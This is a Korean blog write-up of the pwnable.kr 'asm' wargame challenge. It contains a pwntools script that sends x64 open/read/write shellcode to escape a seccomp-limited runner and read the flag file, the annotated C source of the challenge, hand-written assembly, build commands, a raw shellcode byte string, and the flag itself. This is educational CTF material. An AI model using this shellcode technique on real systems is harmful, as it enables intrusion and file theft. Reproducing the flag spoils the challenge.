security/포너블 - pwnable.kr

pwnable.kr - [Toddler's Bottle] asm

민사민서 2023. 2. 5. 04:48
from pwn import *

p = remote("pwnable.kr", 9026)
flg_name = 'this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong'

context(arch="amd64", os="linux")
# context(arch="i386", os="linux") for 32bit

payload = b''
# payload += asm(shellcraft.pushstr(flg_name)
# payload += asm(shellcraft.open('rsp', 0, 0)) 해도 됨!
payload += asm(shellcraft.open(flg_name)) # flag=0, mode=0 by default
payload += asm(shellcraft.read('rax', 'rsp', 0x200)) # 위에서 연 파일의 값을 rsp에 0x100만큼 읽어온다
payload += asm(shellcraft.write(1, 'rsp', 0x200)) # rsp에 저장된 값 출력한다
# 한 번에 모아서 asm() 씌워도 됨

p.recvuntil("your x64 shellcode: ")
p.send(payload) # 1000자나 입력받기 때문에 개행문자 전달해 종료해야함
p.interactive()

 

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <seccomp.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <unistd.h>

#define LENGTH 128

void sandbox(){
   // 필터 상태를 초기화시켜주는 함수
   // SCMP_ACT_KILL: 필터 규칙과 일치하는 syscall 호출 시 커널에 의해 종료됨 
   // SCMP_ACT_ALLOW: 필터 규칙과 일치하는 경우 호출하는 스레드에 영향 x
   // 필터 상태를 모두 거부로 해놓음 [초기화] 
   scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
   if (ctx == NULL) {
      printf("seccomp error\n");
      exit(0);
   }
   
   // 현재 seccomp 필터에 새 필터 규칙 추가
   // seccomp_load 함수를 호출하기 전까지 적용되진 않음
   // open, read, write, exit, exit_group syscall만 허용
   seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
   seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
   seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
   seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
   seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
   
   // 설정한 필터 규칙을 커널에 로드하여 필터 활성화
   if (seccomp_load(ctx) < 0){
      seccomp_release(ctx);
      printf("seccomp error\n");
      exit(0);
   }
   // 필터 상태를 해제
   seccomp_release(ctx);
}

char stub[] = "\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff";
unsigned char filter[256];
int main(int argc, char* argv[]){

   setvbuf(stdout, 0, _IONBF, 0);
   setvbuf(stdin, 0, _IOLBF, 0);

   printf("Welcome to shellcoding practice challenge.\n");
   printf("In this challenge, you can run your x64 shellcode under SECCOMP sandbox.\n");
   printf("Try to make shellcode that spits flag using open()/read()/write() systemcalls only.\n");
   printf("If this does not challenge you. you should play 'asg' challenge :)\n");
   
// void* mmap(void* start, size_t length, int prot, int flags, int fd, off_t offset); fd로 지정된 디바이스 파일에서 offset에 해당하는 물리 주소에서 시작하여 length 바이트 만큼을 start주소로 대응, 대응된 실제 위치 반환 
   char* sh = (char*)mmap(0x41414000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
   // sh가 가르키는 공간의 0x1000byte를 0x90(NOP)로 초기화
   memset(sh, 0x90, 0x1000);
   // sh의 첫부분에 stub 코드 복사
   memcpy(sh, stub, strlen(stub));
   
   int offset = sizeof(stub);
   // 1000 byte 이내의 shellcode 입력 
   printf("give me your x64 shellcode: ");
   read(0, sh+offset, 1000);

   alarm(10); // 10초 후 SIGALARM 발생시켜 프로세스 종료, 그전에 코드 끝나야함 
   // 특정 디렉토리를 루트 디렉토리(/)로 지정함
   // 따라서 /tmp 디렉토리를 사용할 수 없음 (symbolic link?)
   chroot("/home/asm_pwn");
   // open, read, write, exit syscall만 사용 가능 
   sandbox();
   ((void (*)(void))sh)();
   return 0;
}

// ftp로 바이너리 파일 다운받아 분석해보자 
// scp -P 2222 asm@pwnable.kr:/home/asm/asm /home/minseo/Desktop/Pwnable_ex/pwnableKr
// sh = [rbp-0x8], stub = [rip+0x201295], sh에 담긴 주소를 call한다
// orw shellcode를 짜면 될 듯?
<풀이-Dreamhack 참고>
- 의사 코드 
char buf[0x30];
int fd = open("파일이름", RD_ONLY, NULL);
read(fd, buf, 0x30)
write(1, buf, 0x30)
- 사용할 syscall
read: rax=0, (rdi, rsi, rdx) = (fd, *buf, cnt)
write: rax=1, (rdi, rsi, rdx) = (fd, *buf, cnt)
oepn: rax=2, (rdi, rsi, rdx) = (*filename, flags, mode)
cf) close: rax=3, (rdi) = (fd)
- 어셈블리어로
push (문자열, 8B씩 잘라서 역순으로 push, 8B 내부에선 little endian으로!)
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
mov rax, 2
syscall
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0
syscall
mov rdi, 1
mov rax, 1
syscall
- 하지만 pwntools shellcraft를 사용하면 간단하게 풀릴거같네요 ㅋㅋ
asm()을 씌워야 기계어로 어셈블된다! 
context(arch="amd64", os="linux") 로 세팅하고
shellcraft.open() read() write() 사용하면 간단티비, buf 대신 rsp 사용하자 
// open 과정에서 filename 스택에 push되어 존재
// read 과정에서 rsp부터 파일 내용이 입력됨 
// write 하면 파일 내용 출력 + 그 후 filename 나머지 출력
Mak1ng_shelLcodE_i5_veRy_eaSy
lease_read_this_file.sorry_the_file_name_is .... 
<직접 쉘코드 작성하는 풀이>
https://xerxes-break.tistory.com/346
shell.asm 작성하고
nasm -f elf64 shell.asm // 컴파일 - object 파일 생성
ld shell.o // 링킹 - a.out 생성
objcopy -O binary a.out shell.bin // object 파일 복사 (a.out -> shell.bin)
hexdump -v -e '"\\""x" 1/1 "%02x" ""' shell.bin // 1byte씩 출력, \x앞에 붙이고 두 자리로

\xb0\x02\xbf\x50\x40\x41\x41\x0f\x05\x50\x5f\xbe\x10\x47\x41\x41\x66\xba\x11\x01\x48\x31\xc0\x0f\x05\x48\x31\xc0\xb0\x01\x50\x5f\x0f\x05